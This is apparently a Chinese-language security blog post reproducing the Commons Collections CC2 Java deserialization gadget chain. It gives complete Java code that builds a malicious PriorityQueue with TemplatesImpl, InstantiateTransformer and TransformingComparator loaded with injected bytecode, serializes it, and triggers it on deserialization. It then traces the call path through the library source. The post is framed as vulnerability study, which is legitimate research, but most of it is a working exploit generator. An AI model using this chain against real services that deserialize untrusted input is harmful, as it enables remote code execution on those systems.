java 反序列化 cc2 复现

cc2就是cc4的一个变种,无论是出口还是执行命令部分都没有改变,只是绕过了Chainedtransformer,直接将InstantiateTransformer和TransformingComparator去进行了衔接.
直接放我改后的payload

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  import javax.xml.transform.Templates;  
import java.io.*;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class<?> clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  //        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
//        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
//        Transformer[] transformers = {ct, it};  
//  
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
//  
//        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  
//        PriorityQueue pq = new PriorityQueue<>(transformingComparator);  InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);  PriorityQueue pq = new PriorityQueue(transformingComparator);  Class clazz1 = pq.getClass();  Field field1 = clazz1.getDeclaredField("size");  field1.setAccessible(true);  field1.set(pq, 2);  /*  * 通过修改 PriorityQueue 的 queue 字段，来设置InstantiateTransformer的transform方法去构造的类  */       Class clazz0 = pq.getClass();  Field field0 = clazz0.getDeclaredField("queue");  field0.setAccessible(true);  field0.set(pq, new Object[]{TrAXFilter.class, 2});  serial(pq);  unserial();  }  public static void serial(Object obj) throws IOException {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws IOException, ClassNotFoundException {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

感觉网上的改法五花八门的,所以就没看自己去改的.重点分析TrAXFilter.class如何从队列的一个参数传递到InstantiateTransformer的,这也是cc2相对cc4的不同之处.(cc4是直接通过ChainedTransformer来衔接的,不需要进行传递)

PriorityQueue

我们在cc4中分析过siftDownUsingComparator调用compare方法.

private void siftDownUsingComparator(int k, E x) {  int half = size >>> 1;  while (k < half) {  int child = (k << 1) + 1;  Object c = queue[child];  int right = child + 1;  if (right < size &&  comparator.compare((E) c, (E) queue[right]) > 0)  c = queue[child = right];  if (comparator.compare(x, (E) c) <= 0)  break;  queue[k] = c;  k = child;  }  queue[k] = x;  
}

发现compare方法的第二个参数传递的是(E) queue[right],也就是说他把队列中的一个元素传递了过去.

TransformingComparator

来看这个compare方法

public int compare(final I obj1, final I obj2) {  final O value1 = this.transformer.transform(obj1);  final O value2 = this.transformer.transform(obj2);  return this.decorated.compare(value1, value2);  
}

在接受到参数后,直接用参数执行了transform方法,也就是通过obj2将之前队列里的TrAXFilter传递给了InstantiateTransformer

InstantiateTransformer

直接看这个transform

public Object transform(Object input) {try {if (!(input instanceof Class)) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));} else {Constructor con = ((Class)input).getConstructor(this.iParamTypes);return con.newInstance(this.iArgs);}} catch (NoSuchMethodException var3) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException var4) {InstantiationException ex = var4;throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException var5) {IllegalAccessException ex = var5;throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException var6) {InvocationTargetException ex = var6;throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}

此时已经非常明了了.获取TrAXFilter的构造方法并构建一个实例,而TrAXFilter的构造方法中触发了newTransformer,这里已经对接上了cc3.
归纳出利用链

Gadget chain:
PriorityQueue.readObject()PriorityQueue.heapify()  PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InstantiateTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()